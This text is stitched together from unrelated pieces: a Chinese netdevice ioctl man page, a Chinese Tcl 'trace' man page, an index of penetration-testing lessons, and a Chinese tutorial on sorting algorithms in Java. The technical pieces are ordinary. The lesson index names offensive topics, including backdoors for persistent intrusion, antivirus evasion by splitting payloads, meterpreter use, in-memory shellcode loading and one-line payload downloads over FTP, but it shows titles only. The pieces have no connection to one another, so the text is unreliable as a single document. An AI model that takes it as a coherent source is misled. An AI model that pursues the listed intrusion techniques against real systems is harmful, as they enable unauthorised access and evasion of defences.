对 ifmap 结构 的 解释 取决于 设备驱动程序 和 体系结构.
.TP
.BR SIOCADDMULTI ", " SIOCDELMULTI
使用
.BR ifr_hwaddr
在 设备的 链路层 组播过滤器 (multicase filter) 中 添加 或 删除 地址.
这些是 特权操作. 参看
.BR packet (7) .
.TP
.BR SIOCGIFTXQLEN ", " SIOCSIFTXQLEN
使用
.BR ifr_qlen
读取 或 设置 设备的 传输队列长度.
设置 传输队列长度 是 特权操作.
.TP
.B SIOCSIFNAME
把
.BR ifr_ifindex
中 指定的 接口名字 改成
.BR ifr_newname .
这是个 特权操作.
.TP
.B SIOCGIFCONF
返回 接口地址(传输层) 列表. 出于 兼容性, 目前 只代表 AF_INET 地址.
用户 传送 一个
.B ifconf
结构 作为 ioctl 的 参数. 其中
.B ifc_req
包含 一个 指针 指向
.I ifreq
结构数组, 他的 长度 以字节 为单位 存放在
.B ifc_len
中. 内核 用 所有 当前的 L3(第三层?) 接口地址 填充 ifreqs,
这些 接口 正在 运行:
.I ifr_name
存放 接口名字 (eth0:1等),
.I ifr_addr
存放 地址. 内核 在
.I ifc_len
中 返回 实际长度;
如果 他 等于 初始长度, 表示 溢出了, 用户 应该 换一个 大些的 缓冲区 重试 一下.
没有 发生 错误时 ioctl 返回 0, 否则 返回 -1, 溢出 不算 错误.
\" XXX Slaving isn't supported in 2.2
.\" .TP
.\" .BR SIOCGIFSLAVE ", " SIOCSIFSLAVE
.\" Get or set the slave device using
.\" .BR ifr_slave .
.\" Setting the slave device is a privileged operation.
.PP
.\" XXX add amateur radio stuff.
.PP
大多数 协议 使用 自己的 ioctl 配置 协议 特定的 接口 操作. 具体 情况
参看 协议的 帮助手册. 要配置 IP 地址 可以 参看
.BR ip (7).
.PP
另外, 某些 设备 有 专用的 ioctl, 这里 不做 叙述.
.SH "注意 (NOTE)"
严格说来
.B SIOCGIFCONF
是 专门 针对 IP 的, 它 属于
.BR ip (7).
.SH "注意 (NOTE)"
可以 通过
.I /proc/net/dev
看到 没有 地址 或 没有
.B IFF_RUNNING
标志 的 接口名字.
.SH "另见 (SEE ALSO)"
.BR ip "(7), " proc "(7)"
.SH "[中文版维护人]"
.B 徐明 <xuming@iname.com>
.SH "[中文版最新更新]"
.B 2000/10/15
第一版
.br
.BR 2001/11/24
第一次修订
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
'\"
'\" Copyright (c) 1993 The Regents of the University of California.
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: trace.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: trace.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH trace 3tcl "" Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
trace \- 监视变量访问
.SH "总览 SYNOPSIS"
\fBtrace \fIoption\fR ?\fIarg arg ...\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
这个命令导致在调用了特定操作的时候执行 Tcl 命令。现在只实现了变量跟踪。合法的 \fIoption\fR (选项) (可以是缩写)有:
.TP
\fBtrace variable \fIname ops command\fR
安排 \fIcommand\fR 在变量 \fIname\fR 被以用 \fIops \fR给出的方式访问的时候执行。\fIName\fR 可以引用一个普通变量、数组的一个元素,或整个的一个数组(就是说,\fIname\fR 可以只是一个数组的名字,而不加在圆括号中的索引)。如果 \fIname\fR 引用整个的一个数组,则在操纵了这个数组的任何元素的时候调用 \fIcommand\fR 。如果这个变量不存在,则建立它但不给它值,所以对 \fBnamespace which\fR 查询是可见的,但对 \fBinfo exists\fR 不是。
.RS
.PP
\fIOps\fR 指示要进行何种操作,它由下列字母中的一个或多个组成:
.TP
\fBr\fR
在读这个变量的时候调用 \fIcommand\fR。
.TP
\fBw\fR
在写这个变量的时候调用 \fIcommand\fR。
.TP
\fBu\fR
在删除这个变量的时候调用 \fIcommand\fR。可以使用 \fBunset\fR 命令显式的删除变量,或者在过程返回的时候隐式的删除(所有它们的局部变量)。在删除解释器的时候也删除变量,因为没有在其中执行命令的解释器所以不调用跟踪。
.PP
当触发跟踪的时候,向 \fIcommand\fR 添加三个参数,所以实际上的命令如下:
.CS
\fIcommand name1 name2 op\fR
.CE
\fIName1\fR 和 \fIname2\fR 给出被访问了的变量的名字: 如果这个变量是个标量,则 \fIname1\fR 给出变量的名字而 \fIname2\fR 是一个空串;如果变量是一个数组元素,则 \fIname1\fR 给出数组的名字而 \fIname2\fR 给出在这个数组中的索引;如果整个数组被删除并且跟踪注册在整个数组上,而不是在一个单一元素上,则 \fIname1\fR 给出这个数组的名字而 \fIname2\fR 是一个空串。\fIName1\fR 和 \fIname2\fR 不是必须与在 \fBtrace variable\fR 命令中使用的名字相同: \fBupvar\fR 命令允许一个过程在不同的名字下引用一个变量。\fIOp\fR 指示在这个变量上进行了何种操作,它是上面定义的 \fBr\fR、\fBw\fR、或 \fBu\fR 中的一个。
.PP
\fICommand\fR 在与调用跟踪操作的代码的相同的上下文中执行: 如果被访问的变量是一个 Tcl 过程的一部分,则 \fIcommand\fR 将访问到与过程中的代码相同的局部变量。这个上下文可能与在其中建立跟踪的上下文不同。如果 \fIcommand\fR 调用一个过程(它经常这么做),则过程要想访问被跟踪的变量必须使用 \fBupvar\fR 或 \fBuplevel\fR。还要注意 \fIname1\fR 不是必须与用来在变量上设置跟踪的那个名字相同;如果通过用 \fBupvar\fR 定义的一个变量进行访问,则可能发生不同。
.PP
对于读和写跟踪,\fIcommand\fR 可以修改变量来影响被跟踪的操作的结果。如果\fIcommand\fR 在读写跟踪期间修改了一个变量的值,则这个新值将被返回为跟踪操作的结果。除非从 \fIcommand\fR 返回的值是一个某种错误,此时跟踪的操作返回的错误与跟踪命令返回的错误消息相同,否则忽略它(例如,可使用这种机制实现只读变量)。对于写跟踪,在这个变量的值被改变之后调用 \fIcommand\fR ;它把一个新值写到这个变量中来屏弃在这次写操作中指定的原始值。要实现只读变量,\fIcommand\fR 必须存储这个变量的旧值。
.PP
当 \fIcommand\fR 在一个读或写跟踪期间执行的时候,在变量上的跟踪被暂时禁用。这意味着 \fIcommand\fR 调用的读和写将直接发生,不用再次调用 \fIcommand\fR (或任何其他跟踪)。但是,如果 \fIcommand\fR 删除了这个变量则调用删除跟踪。
.PP
在调用一个删除跟踪的时候,这个变量已经被删除了: 它将出现为未定义的而不加以跟踪。如果因为一个过程返回而发生一个删除,则在返回到的那个过程的变量上下文中调用跟踪: 返回的过程的栈桢已经不存在了。在删除跟踪期间不禁止跟踪,所以如果一个删除跟踪命令建立了一个新的跟踪并访问了这个变量,则调用这个跟踪。忽略删除跟踪的任何错误。
.PP
如果在一个变量上有多个跟踪,则以建立的次序调用它们,先处理最新的。如果一个跟踪返回一个错误,则不对这个变量调用进一步的跟踪。如果一个数组元素有一个跟踪设置,并且还有一个在整个数组上的跟踪设置,调用在整个数组上的跟踪先于在这个元素上的跟踪。
.PP
一旦建立了,跟踪保持有效直到用下面描述的 \fBtrace vdelete\fR 命令删除这个跟踪、直到删除了这个变量,或直到删除了这个解释器为止。删除数组的一个元素将删除在这个元素上的任何跟踪,但不删除在整个数组上的跟踪。
.PP
这个命令返回一个空串。
.RE
.TP
\fBtrace vdelete \fIname ops command\fR
如果在变量 \fIname\fR 上设置了一个用 \fIops\fR 给出操作和用 \fIcommand\fR 给出命令的跟踪,则删除这个跟踪,这样将永不再次调用 \fIcommand\fR 。返回一个空串。
.TP
\fBtrace vinfo \fIname\fR
返回一个列表,为每个在变量 \fIname \fR设置的当前跟踪包含一个元素。这个列表的每个元素自身是一个包含两个元素的列表,它们是与这个跟踪相关的 \fIops\fR 和 \fIcommand\fR 。如果 \fIname\fR 不存在或没有跟踪设置,则命令的结果是一个空串。
.SH "关键字 KEYWORDS"
read, variable, write, trace, unset
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/11/21
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
### [第六十一课:高级持续渗透-第五季关于后门](../Chapter1/61-70/61_高级持续渗透-第五季关于后门.md)
### [第六十二课:高级持续渗透-第六季关于后门](../Chapter1/61-70/62_高级持续渗透-第六季关于后门.md)
### [第六十三课:高级持续渗透-第七季demo的成长](../Chapter1/61-70/63_高级持续渗透-第七季demo的成长.md)
### [第六十四课:高级持续渗透-第八季demo便是远控](../Chapter1/61-70/64_高级持续渗透-第八季demo便是远控.md)
### [第六十五课:离线提取目标机hash补充](../Chapter1/61-70/65_离线提取目标机hash补充.md)
### [第六十六课:借助aspx对payload进行分离免杀](../Chapter1/61-70/66_借助aspx对payload进行分离免杀.md)
### [第六十七课:meterpreter下的irb操作第一季](../Chapter1/61-70/67_meterpreter下的irb操作第一季.md)
### [第六十八课:基于Ruby内存加载shellcode第一季](../Chapter1/61-70/68_基于Ruby内存加载shellcode第一季.md)
### [第六十九课:渗透,持续渗透,后渗透的本质](../Chapter1/61-70/69_渗透-持续渗透-后渗透的本质.md)
### [第七十课:ftp一句话下载payload补充](../Chapter1/61-70/70_ftp一句话下载payload补充.md)
|
sec-knowleage
|
# 算法 - 排序
## 约定
待排序的元素需要实现 Java 的 Comparable 接口,该接口有 compareTo() 方法,可以用它来判断两个元素的大小关系。
使用辅助函数 less() 和 swap() 来进行比较和交换的操作,使得代码的可读性和可移植性更好。
排序算法的成本模型是比较和交换的次数。
```java
public abstract class Sort<T extends Comparable<T>> {
public abstract void sort(T[] nums);
protected boolean less(T v, T w) {
return v.compareTo(w) < 0;
}
protected void swap(T[] a, int i, int j) {
T t = a[i];
a[i] = a[j];
a[j] = t;
}
}
```
## 选择排序
从数组中选择最小元素,将它与数组的第一个元素交换位置。再从数组剩下的元素中选择出最小的元素,将它与数组的第二个元素交换位置。不断进行这样的操作,直到将整个数组排序。
选择排序需要 \~N<sup>2</sup>/2 次比较和 \~N 次交换,它的运行时间与输入无关,这个特点使得它对一个已经排序的数组也需要这么多的比较和交换操作。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/bc6be2d0-ed5e-4def-89e5-3ada9afa811a.gif" width="230px"> </div><br>
```java
public class Selection<T extends Comparable<T>> extends Sort<T> {
@Override
public void sort(T[] nums) {
int N = nums.length;
for (int i = 0; i < N - 1; i++) {
int min = i;
for (int j = i + 1; j < N; j++) {
if (less(nums[j], nums[min])) {
min = j;
}
}
swap(nums, i, min);
}
}
}
```
## 冒泡排序
从左到右不断交换相邻逆序的元素,在一轮的循环之后,可以让未排序的最大元素上浮到右侧。
在一轮循环中,如果没有发生交换,那么说明数组已经是有序的,此时可以直接退出。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/0f8d178b-52d8-491b-9dfd-41e05a952578.gif" width="200px"> </div><br>
```java
public class Bubble<T extends Comparable<T>> extends Sort<T> {
@Override
public void sort(T[] nums) {
int N = nums.length;
boolean isSorted = false;
for (int i = N - 1; i > 0 && !isSorted; i--) {
isSorted = true;
for (int j = 0; j < i; j++) {
if (less(nums[j + 1], nums[j])) {
isSorted = false;
swap(nums, j, j + 1);
}
}
}
}
}
```
## 插入排序
每次都将当前元素插入到左侧已经排序的数组中,使得插入之后左侧数组依然有序。
对于数组 {3, 5, 2, 4, 1},它具有以下逆序:(3, 2), (3, 1), (5, 2), (5, 4), (5, 1), (2, 1), (4, 1),插入排序每次只能交换相邻元素,令逆序数量减少 1,因此插入排序需要交换的次数为逆序数量。
插入排序的时间复杂度取决于数组的初始顺序,如果数组已经部分有序了,那么逆序较少,需要的交换次数也就较少,时间复杂度较低。
- 平均情况下插入排序需要 \~N<sup>2</sup>/4 比较以及 \~N<sup>2</sup>/4 次交换;
- 最坏的情况下需要 \~N<sup>2</sup>/2 比较以及 \~N<sup>2</sup>/2 次交换,最坏的情况是数组是倒序的;
- 最好的情况下需要 N-1 次比较和 0 次交换,最好的情况就是数组已经有序了。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/35253fa4-f60a-4e3b-aaec-8fc835aabdac.gif" width="200px"> </div><br>
```java
public class Insertion<T extends Comparable<T>> extends Sort<T> {
@Override
public void sort(T[] nums) {
int N = nums.length;
for (int i = 1; i < N; i++) {
for (int j = i; j > 0 && less(nums[j], nums[j - 1]); j--) {
swap(nums, j, j - 1);
}
}
}
}
```
## 希尔排序
对于大规模的数组,插入排序很慢,因为它只能交换相邻的元素,每次只能将逆序数量减少 1。希尔排序的出现就是为了解决插入排序的这种局限性,它通过交换不相邻的元素,每次可以将逆序数量减少大于 1。
希尔排序使用插入排序对间隔 h 的序列进行排序。通过不断减小 h,最后令 h=1,就可以使得整个数组是有序的。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/7818c574-97a8-48db-8e62-8bfb030b02ba.png" width="450px"> </div><br>
```java
public class Shell<T extends Comparable<T>> extends Sort<T> {
@Override
public void sort(T[] nums) {
int N = nums.length;
int h = 1;
while (h < N / 3) {
h = 3 * h + 1; // 1, 4, 13, 40, ...
}
while (h >= 1) {
for (int i = h; i < N; i++) {
for (int j = i; j >= h && less(nums[j], nums[j - h]); j -= h) {
swap(nums, j, j - h);
}
}
h = h / 3;
}
}
}
```
希尔排序的运行时间达不到平方级别,使用递增序列 1, 4, 13, 40, ... 的希尔排序所需要的比较次数不会超过 N 的若干倍乘于递增序列的长度。后面介绍的高级排序算法只会比希尔排序快两倍左右。
## 归并排序
归并排序的思想是将数组分成两部分,分别进行排序,然后归并起来。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ec840967-d127-4da3-b6bb-186996c56746.png" width="300px"> </div><br>
### 1. 归并方法
归并方法将数组中两个已经排序的部分归并成一个。
```java
public abstract class MergeSort<T extends Comparable<T>> extends Sort<T> {
protected T[] aux;
protected void merge(T[] nums, int l, int m, int h) {
int i = l, j = m + 1;
for (int k = l; k <= h; k++) {
aux[k] = nums[k]; // 将数据复制到辅助数组
}
for (int k = l; k <= h; k++) {
if (i > m) {
nums[k] = aux[j++];
} else if (j > h) {
nums[k] = aux[i++];
} else if (aux[i].compareTo(aux[j]) <= 0) {
nums[k] = aux[i++]; // 先进行这一步,保证稳定性
} else {
nums[k] = aux[j++];
}
}
}
}
```
### 2. 自顶向下归并排序
将一个大数组分成两个小数组去求解。
因为每次都将问题对半分成两个子问题,这种对半分的算法复杂度一般为 O(NlogN)。
```java
public class Up2DownMergeSort<T extends Comparable<T>> extends MergeSort<T> {
@Override
public void sort(T[] nums) {
aux = (T[]) new Comparable[nums.length];
sort(nums, 0, nums.length - 1);
}
private void sort(T[] nums, int l, int h) {
if (h <= l) {
return;
}
int mid = l + (h - l) / 2;
sort(nums, l, mid);
sort(nums, mid + 1, h);
merge(nums, l, mid, h);
}
}
```
### 3. 自底向上归并排序
先归并那些微型数组,然后成对归并得到的微型数组。
```java
public class Down2UpMergeSort<T extends Comparable<T>> extends MergeSort<T> {
@Override
public void sort(T[] nums) {
int N = nums.length;
aux = (T[]) new Comparable[N];
for (int sz = 1; sz < N; sz += sz) {
for (int lo = 0; lo < N - sz; lo += sz + sz) {
merge(nums, lo, lo + sz - 1, Math.min(lo + sz + sz - 1, N - 1));
}
}
}
}
```
## 快速排序
### 1. 基本算法
- 归并排序将数组分为两个子数组分别排序,并将有序的子数组归并使得整个数组排序;
- 快速排序通过一个切分元素将数组分为两个子数组,左子数组小于等于切分元素,右子数组大于等于切分元素,将这两个子数组排序也就将整个数组排序了。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/6234eb3d-ccf2-4987-a724-235aef6957b1.png" width="280px"> </div><br>
```java
public class QuickSort<T extends Comparable<T>> extends Sort<T> {
@Override
public void sort(T[] nums) {
shuffle(nums);
sort(nums, 0, nums.length - 1);
}
private void sort(T[] nums, int l, int h) {
if (h <= l)
return;
int j = partition(nums, l, h);
sort(nums, l, j - 1);
sort(nums, j + 1, h);
}
private void shuffle(T[] nums) {
List<Comparable> list = Arrays.asList(nums);
Collections.shuffle(list);
list.toArray(nums);
}
}
```
### 2. 切分
取 a[l] 作为切分元素,然后从数组的左端向右扫描直到找到第一个大于等于它的元素,再从数组的右端向左扫描找到第一个小于它的元素,交换这两个元素。不断进行这个过程,就可以保证左指针 i 的左侧元素都不大于切分元素,右指针 j 的右侧元素都不小于切分元素。当两个指针相遇时,将切分元素 a[l] 和 a[j] 交换位置。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/c4859290-e27d-4f12-becf-e2a5c1f3a275.gif" width="320px"> </div><br>
```java
private int partition(T[] nums, int l, int h) {
int i = l, j = h + 1;
T v = nums[l];
while (true) {
while (less(nums[++i], v) && i != h) ;
while (less(v, nums[--j]) && j != l) ;
if (i >= j)
break;
swap(nums, i, j);
}
swap(nums, l, j);
return j;
}
```
### 3. 性能分析
快速排序是原地排序,不需要辅助数组,但是递归调用需要辅助栈。
快速排序最好的情况下是每次都正好将数组对半分,这样递归调用次数才是最少的。这种情况下比较次数为 C<sub>N</sub>=2C<sub>N/2</sub>+N,复杂度为 O(NlogN)。
最坏的情况下,第一次从最小的元素切分,第二次从第二小的元素切分,如此这般。因此最坏的情况下需要比较 N<sup>2</sup>/2。为了防止数组最开始就是有序的,在进行快速排序时需要随机打乱数组。
### 4. 算法改进
##### 4.1 切换到插入排序
因为快速排序在小数组中也会递归调用自己,对于小数组,插入排序比快速排序的性能更好,因此在小数组中可以切换到插入排序。
##### 4.2 三数取中
最好的情况下是每次都能取数组的中位数作为切分元素,但是计算中位数的代价很高。一种折中方法是取 3 个元素,并将大小居中的元素作为切分元素。
##### 4.3 三向切分
对于有大量重复元素的数组,可以将数组切分为三部分,分别对应小于、等于和大于切分元素。
三向切分快速排序对于有大量重复元素的随机数组可以在线性时间内完成排序。
```java
public class ThreeWayQuickSort<T extends Comparable<T>> extends QuickSort<T> {
@Override
protected void sort(T[] nums, int l, int h) {
if (h <= l) {
return;
}
int lt = l, i = l + 1, gt = h;
T v = nums[l];
while (i <= gt) {
int cmp = nums[i].compareTo(v);
if (cmp < 0) {
swap(nums, lt++, i++);
} else if (cmp > 0) {
swap(nums, i, gt--);
} else {
i++;
}
}
sort(nums, l, lt - 1);
sort(nums, gt + 1, h);
}
}
```
### 5. 基于切分的快速选择算法
快速排序的 partition() 方法,会返回一个整数 j 使得 a[l..j-1] 小于等于 a[j],且 a[j+1..h] 大于等于 a[j],此时 a[j] 就是数组的第 j 大元素。
可以利用这个特性找出数组的第 k 个元素。
该算法是线性级别的,假设每次能将数组二分,那么比较的总次数为 (N+N/2+N/4+..),直到找到第 k 个元素,这个和显然小于 2N。
```java
public T select(T[] nums, int k) {
int l = 0, h = nums.length - 1;
while (h > l) {
int j = partition(nums, l, h);
if (j == k) {
return nums[k];
} else if (j > k) {
h = j - 1;
} else {
l = j + 1;
}
}
return nums[k];
}
```
## 堆排序
### 1. 堆
堆中某个节点的值总是大于等于或小于等于其子节点的值,并且堆是一颗完全二叉树。
堆可以用数组来表示,这是因为堆是完全二叉树,而完全二叉树很容易就存储在数组中。位置 k 的节点的父节点位置为 k/2,而它的两个子节点的位置分别为 2k 和 2k+1。这里不使用数组索引为 0 的位置,是为了更清晰地描述节点的位置关系。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f48883c8-9d8a-494e-99a4-317d8ddb8552.png" width="170px"> </div><br>
```java
public class Heap<T extends Comparable<T>> {
private T[] heap;
private int N = 0;
public Heap(int maxN) {
this.heap = (T[]) new Comparable[maxN + 1];
}
public boolean isEmpty() {
return N == 0;
}
public int size() {
return N;
}
private boolean less(int i, int j) {
return heap[i].compareTo(heap[j]) < 0;
}
private void swap(int i, int j) {
T t = heap[i];
heap[i] = heap[j];
heap[j] = t;
}
}
```
### 2. 上浮和下沉
在堆中,当一个节点比父节点大,那么需要交换这个两个节点。交换后还可能比它新的父节点大,因此需要不断地进行比较和交换操作,把这种操作称为上浮。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/99d5e84e-fc2a-49a3-8259-8de274617756.gif" width="270px"> </div><br>
```java
private void swim(int k) {
while (k > 1 && less(k / 2, k)) {
swap(k / 2, k);
k = k / 2;
}
}
```
类似地,当一个节点比子节点来得小,也需要不断地向下进行比较和交换操作,把这种操作称为下沉。一个节点如果有两个子节点,应当与两个子节点中最大那个节点进行交换。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/4bf5e3fb-a285-4138-b3b6-780956eb1df1.gif" width="270px"> </div><br>
```java
private void sink(int k) {
while (2 * k <= N) {
int j = 2 * k;
if (j < N && less(j, j + 1))
j++;
if (!less(k, j))
break;
swap(k, j);
k = j;
}
}
```
### 3. 插入元素
将新元素放到数组末尾,然后上浮到合适的位置。
```java
public void insert(Comparable v) {
heap[++N] = v;
swim(N);
}
```
### 4. 删除最大元素
从数组顶端删除最大的元素,并将数组的最后一个元素放到顶端,并让这个元素下沉到合适的位置。
```java
public T delMax() {
T max = heap[1];
swap(1, N--);
heap[N + 1] = null;
sink(1);
return max;
}
```
### 5. 堆排序
把最大元素和当前堆中数组的最后一个元素交换位置,并且不删除它,那么就可以得到一个从尾到头的递减序列,从正向来看就是一个递增序列,这就是堆排序。
##### 5.1 构建堆
无序数组建立堆最直接的方法是从左到右遍历数组进行上浮操作。一个更高效的方法是从右至左进行下沉操作,如果一个节点的两个节点都已经是堆有序,那么进行下沉操作可以使得这个节点为根节点的堆有序。叶子节点不需要进行下沉操作,可以忽略叶子节点的元素,因此只需要遍历一半的元素即可。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/c2ca8dd2-8d00-4a3e-bece-db7849ac9cfd.gif" width="210px"> </div><br>
##### 5.2 交换堆顶元素与最后一个元素
交换之后需要进行下沉操作维持堆的有序状态。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/d156bcda-ac8d-4324-95e0-0c8df41567c9.gif" width="250px"> </div><br>
```java
public class HeapSort<T extends Comparable<T>> extends Sort<T> {
/**
* 数组第 0 个位置不能有元素
*/
@Override
public void sort(T[] nums) {
int N = nums.length - 1;
for (int k = N / 2; k >= 1; k--)
sink(nums, k, N);
while (N > 1) {
swap(nums, 1, N--);
sink(nums, 1, N);
}
}
private void sink(T[] nums, int k, int N) {
while (2 * k <= N) {
int j = 2 * k;
if (j < N && less(nums, j, j + 1))
j++;
if (!less(nums, k, j))
break;
swap(nums, k, j);
k = j;
}
}
private boolean less(T[] nums, int i, int j) {
return nums[i].compareTo(nums[j]) < 0;
}
}
```
### 6. 分析
一个堆的高度为 logN,因此在堆中插入元素和删除最大元素的复杂度都为 logN。
对于堆排序,由于要对 N 个节点进行下沉操作,因此复杂度为 NlogN。
堆排序是一种原地排序,没有利用额外的空间。
现代操作系统很少使用堆排序,因为它无法利用局部性原理进行缓存,也就是数组元素很少和相邻的元素进行比较和交换。
## 小结
### 1. 排序算法的比较
| 算法 | 稳定性 | 时间复杂度 | 空间复杂度 | 备注 |
| :---: | :---: |:---: | :---: | :---: |
| 选择排序 | × | N<sup>2</sup> | 1 | |
| 冒泡排序 | √ | N<sup>2</sup> | 1 | |
| 插入排序 | √ | N \~ N<sup>2</sup> | 1 | 时间复杂度和初始顺序有关 |
| 希尔排序 | × | N 的若干倍乘于递增序列的长度 | 1 | 改进版插入排序 |
| 快速排序 | × | NlogN | logN | |
| 三向切分快速排序 | × | N \~ NlogN | logN | 适用于有大量重复主键|
| 归并排序 | √ | NlogN | N | |
| 堆排序 | × | NlogN | 1 | 无法利用局部性原理|
